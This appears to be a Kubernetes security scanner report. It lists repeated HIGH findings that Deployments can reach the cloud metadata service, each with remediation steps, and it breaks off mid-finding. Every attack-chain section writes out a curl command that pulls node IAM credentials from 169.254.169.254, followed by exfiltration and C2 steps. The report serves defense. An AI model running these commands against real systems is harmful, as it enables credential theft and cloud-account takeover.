IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/flat-network/unmatched via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in flat-network (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec unmatched -n flat-network -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"unmatched"
workload_namespace
"flat-network"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "unmatched",
  "workload_namespace": "flat-network"
}
HIGH Deployment/ingress-only/ingress-app Workload 7.8
Workload Deployment/ingress-only/ingress-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/ingress-only/ingress-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Workload Deployment/ingress-only/ingress-app runs in namespace ingress-only and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/ingress-only/ingress-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in ingress-only (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec ingress-app -n ingress-only -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"ingress-app"
workload_namespace
"ingress-only"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "ingress-app",
  "workload_namespace": "ingress-only"
}
HIGH Deployment/local-path-storage/local-path-provisioner Workload 7.8
Workload Deployment/local-path-storage/local-path-provisioner has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/local-path-storage/local-path-provisioner: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/local-path-storage/local-path-provisioner Namespace: local-path-storage

Workload Deployment/local-path-storage/local-path-provisioner runs in namespace local-path-storage and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/local-path-storage/local-path-provisioner via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in local-path-storage (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec local-path-provisioner -n local-path-storage -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"local-path-provisioner"
workload_namespace
"local-path-storage"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "local-path-provisioner",
  "workload_namespace": "local-path-storage"
}
HIGH Deployment/lp-fixtures/lp-narrow-app Workload 7.8
Workload Deployment/lp-fixtures/lp-narrow-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-narrow-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-narrow-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-narrow-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-narrow-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-narrow-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/lp-fixtures/lp-orphan-app Workload 7.8
Workload Deployment/lp-fixtures/lp-orphan-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-orphan-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-orphan-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-orphan-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-orphan-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-orphan-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/lp-fixtures/lp-wildcard-app Workload 7.8
Workload Deployment/lp-fixtures/lp-wildcard-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Workload Deployment/lp-fixtures/lp-wildcard-app runs in namespace lp-fixtures and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/lp-fixtures/lp-wildcard-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in lp-fixtures (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec lp-wildcard-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"lp-wildcard-app"
workload_namespace
"lp-fixtures"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "lp-wildcard-app",
  "workload_namespace": "lp-fixtures"
}
HIGH Deployment/netpol-imds/imds-allow-app Workload 7.8
Workload Deployment/netpol-imds/imds-allow-app has an egress policy whose ipBlock: 0.0.0.0/0 admits cloud IMDS (169.254.169.254)
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-allow-app is selected by NetworkPolicy netpol-imds/allow-everywhere, which contains an egress to: peer with ipBlock.cidr: 0.0.0.0/0. That CIDR includes 169.254.169.254 and the policy's except: list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.

This is the most common foot-gun in egress policies. Operators often add ipBlock: 0.0.0.0/0 (or 169.254.0.0/16, the full link-local range) to allow "general internet" or "any AWS API" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an except: [169.254.169.254/32] carve-out (or to use a narrower allow ipBlock that does not include link-local at all).

On AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to 0.0.0.0/0 can still construct an IMDSv2 request when the hop-limit allows it.

Impact Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -> cloud-account compromise stays one curl away.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker compromises a pod selected by netpol-imds/allow-everywhere.spec.podSelector (the policy that admits IMDS).
  2. They reach IMDS at http://169.254.169.254/latest/meta-data/iam/security-credentials/ because the ipBlock: 0.0.0.0/0 allow rule includes the IMDS IP.
  3. They exfiltrate the worker node's IAM credentials and pivot into the cloud account.
  4. The NetworkPolicy gives operators a false sense of "egress is restricted" while the most dangerous destination is still reachable.
  5. On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in netpol-imds (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-allow-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
offender_cidr
"0.0.0.0/0"
offender_policy
"netpol-imds/allow-everywhere"
reason
"explicit-allow"
workload_kind
"Deployment"
workload_name
"imds-allow-app"
workload_namespace
"netpol-imds"
Show raw JSON
{
  "offender_cidr": "0.0.0.0/0",
  "offender_policy": "netpol-imds/allow-everywhere",
  "reason": "explicit-allow",
  "workload_kind": "Deployment",
  "workload_name": "imds-allow-app",
  "workload_namespace": "netpol-imds"
}
HIGH Deployment/netpol-imds/imds-open-app Workload 7.8
Workload Deployment/netpol-imds/imds-open-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/netpol-imds/imds-open-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/netpol-imds/imds-open-app Namespace: netpol-imds

Workload Deployment/netpol-imds/imds-open-app runs in namespace netpol-imds and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/netpol-imds/imds-open-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in netpol-imds (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
  3. For each workload that requires legitimate outbound, add a tight to: clause. Prefer namespaceSelector + podSelector for in-cluster destinations and an ipBlock with except: [169.254.169.254/32] for genuine internet reach.
  4. Validate from inside the pod: kubectl exec imds-open-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/ must time out.
  5. On AWS, set the launch-template HttpPutResponseHopLimit = 1 so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.
  6. Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains 169.254.169.254 without an except: carve-out.
Evidence
reason
"no-egress-policy"
workload_kind
"Deployment"
workload_name
"imds-open-app"
workload_namespace
"netpol-imds"
Show raw JSON
{
  "reason": "no-egress-policy",
  "workload_kind": "Deployment",
  "workload_name": "imds-open-app",
  "workload_namespace": "netpol-imds"
}
HIGH Deployment/psa-suppressed/psa-priv-app Workload 7.8
Workload Deployment/psa-suppressed/psa-priv-app has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable
Scope · Workload Workload Deployment/psa-suppressed/psa-priv-app: egress to 169.254.169.254 is reachable.
Category: Data Exfiltration Resource: Deployment/psa-suppressed/psa-priv-app Namespace: psa-suppressed

Workload Deployment/psa-suppressed/psa-priv-app runs in namespace psa-suppressed and is not selected by any NetworkPolicy with policyTypes: [Egress]. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at 169.254.169.254.

IMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach 169.254.169.254/latest/meta-data/iam/security-credentials/ can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (169.254.169.254/metadata/instance) and GCP (metadata.google.internal, served from the same link-local IP). IMDSv2 with hop-limit = 1 (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.

The fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects podSelector: {} and lists every allowed peer except an ipBlock 0.0.0.0/0 with except: [169.254.169.254/32].

Impact A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains RCE in Deployment/psa-suppressed/psa-priv-app via an application vulnerability (e.g., SSRF, dependency exploit).
  2. They send an IMDSv1 request: curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/. The request is not blocked because no egress policy applies.
  3. They use the returned IAM credentials with aws sts get-caller-identity to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).
  4. They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.
  5. They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection.
Remediation
Apply or tighten an egress NetworkPolicy in the workload's namespace that denies 169.254.169.254/32 explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.
  1. Apply a default-deny-egress policy in psa-suppressed (podSelector: {}, policyTypes: [Egress]).
  2. Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.
